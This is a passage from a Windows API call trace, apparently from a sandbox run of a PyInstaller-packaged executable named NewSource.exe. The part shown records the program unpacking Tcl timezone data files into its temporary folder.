dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.271] GetLastError () returned 0x2 [0042.271] SetLastError (dwErrCode=0x2) [0042.271] GetLastError () returned 0x2 [0042.271] SetLastError (dwErrCode=0x2) [0042.271] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Athens", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Athens", lpFilePart=0x0) returned 0x45 [0042.271] GetLastError () returned 0x2 [0042.271] SetLastError (dwErrCode=0x2) [0042.271] GetLastError () returned 0x2 [0042.271] SetLastError (dwErrCode=0x2) [0042.271] GetLastError () returned 0x2 [0042.271] SetLastError (dwErrCode=0x2) [0042.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Athens") returned 70 [0042.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Athens" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\athens"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.271] GetFileType (hFile=0x10c) returned 0x1 [0042.271] htonl (hostlong=0x61e0000) returned 0x1e06 [0042.271] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.272] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe06, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe06, lpOverlapped=0x0) returned 1 [0042.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.273] CloseHandle (hObject=0x10c) returned 1 [0042.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.273] htonl (hostlong=0x30000000) returned 0x30 [0042.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.273] GetFileType (hFile=0x10c) returned 0x1 [0042.273] htonl (hostlong=0x58d75b00) returned 0x5bd758 [0042.273] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x608758, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.273] htonl (hostlong=0x89000000) returned 0x89 [0042.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0042.273] htonl (hostlong=0x89000000) returned 0x89 [0042.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.273] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.273] htonl (hostlong=0xb1000000) returned 0xb1 [0042.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb1) returned 0x550600 [0042.273] htonl (hostlong=0x89000000) returned 0x89 [0042.273] htonl (hostlong=0xb1000000) returned 0xb1 [0042.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.274] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.274] CloseHandle (hObject=0x10c) returned 1 [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.274] GetFileType (hFile=0x10c) returned 0x1 [0042.274] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.274] CloseHandle (hObject=0x10c) returned 1 [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.274] GetFileType (hFile=0x10c) returned 0x1 [0042.275] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.275] CloseHandle (hObject=0x10c) returned 1 [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.275] GetFileType (hFile=0x10c) returned 0x1 [0042.275] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.275] CloseHandle (hObject=0x10c) returned 1 [0042.275] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belfast") returned 71 [0042.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belfast" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\belfast"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.276] GetLastError () returned 0x2 [0042.276] SetLastError (dwErrCode=0x2) [0042.276] GetLastError () returned 0x2 [0042.276] SetLastError (dwErrCode=0x2) [0042.276] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belfast", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belfast", lpFilePart=0x0) returned 0x46 [0042.276] GetLastError () returned 0x2 [0042.276] SetLastError (dwErrCode=0x2) [0042.276] GetLastError () returned 0x2 [0042.276] SetLastError (dwErrCode=0x2) [0042.276] GetLastError () returned 0x2 [0042.276] SetLastError (dwErrCode=0x2) [0042.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belfast") returned 71 [0042.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belfast" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\belfast"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.276] GetFileType (hFile=0x10c) returned 0x1 [0042.276] htonl (hostlong=0xb1000000) returned 0xb1 [0042.276] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.276] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb1, lpOverlapped=0x0) returned 1 [0042.277] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.277] CloseHandle (hObject=0x10c) returned 1 [0042.278] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.278] htonl (hostlong=0x30000000) returned 0x30 [0042.278] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.278] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.278] GetFileType (hFile=0x10c) returned 0x1 [0042.278] htonl (hostlong=0xe1d75b00) returned 0x5bd7e1 [0042.278] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6087e1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.278] htonl (hostlong=0xcc050000) returned 0x5cc [0042.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5cc) returned 0x550600 [0042.278] htonl (hostlong=0xcc050000) returned 0x5cc [0042.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.278] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.278] htonl (hostlong=0x931b0000) returned 0x1b93 [0042.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b93) returned 0x561090 [0042.278] htonl (hostlong=0xcc050000) returned 0x5cc [0042.278] htonl (hostlong=0x931b0000) returned 0x1b93 [0042.279] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c30 [0042.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c30 | out: hHeap=0x530000) returned 1 [0042.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.279] CloseHandle (hObject=0x10c) returned 1 [0042.279] GetLastError () returned 0x0 [0042.279] SetLastError (dwErrCode=0x0) [0042.279] GetLastError () returned 0x0 [0042.279] SetLastError (dwErrCode=0x0) [0042.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.279] GetFileType (hFile=0x10c) returned 0x1 [0042.279] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.279] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.280] CloseHandle (hObject=0x10c) returned 1 [0042.280] GetLastError () returned 0x0 [0042.280] SetLastError (dwErrCode=0x0) [0042.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.280] GetFileType (hFile=0x10c) returned 0x1 [0042.280] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.280] CloseHandle (hObject=0x10c) returned 1 [0042.280] GetLastError () returned 0x0 [0042.280] SetLastError (dwErrCode=0x0) [0042.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.280] GetFileType (hFile=0x10c) returned 0x1 [0042.280] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.281] CloseHandle (hObject=0x10c) returned 1 [0042.281] GetLastError () returned 0x0 [0042.281] SetLastError (dwErrCode=0x0) [0042.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belgrade") returned 72 [0042.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belgrade" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\belgrade"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.281] GetLastError () returned 0x2 [0042.281] SetLastError (dwErrCode=0x2) [0042.281] GetLastError () returned 0x2 [0042.281] SetLastError (dwErrCode=0x2) [0042.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belgrade", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belgrade", lpFilePart=0x0) returned 0x47 [0042.281] GetLastError () returned 0x2 [0042.281] SetLastError (dwErrCode=0x2) [0042.281] GetLastError () returned 0x2 [0042.281] SetLastError (dwErrCode=0x2) [0042.281] GetLastError () returned 0x2 [0042.281] SetLastError (dwErrCode=0x2) [0042.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: 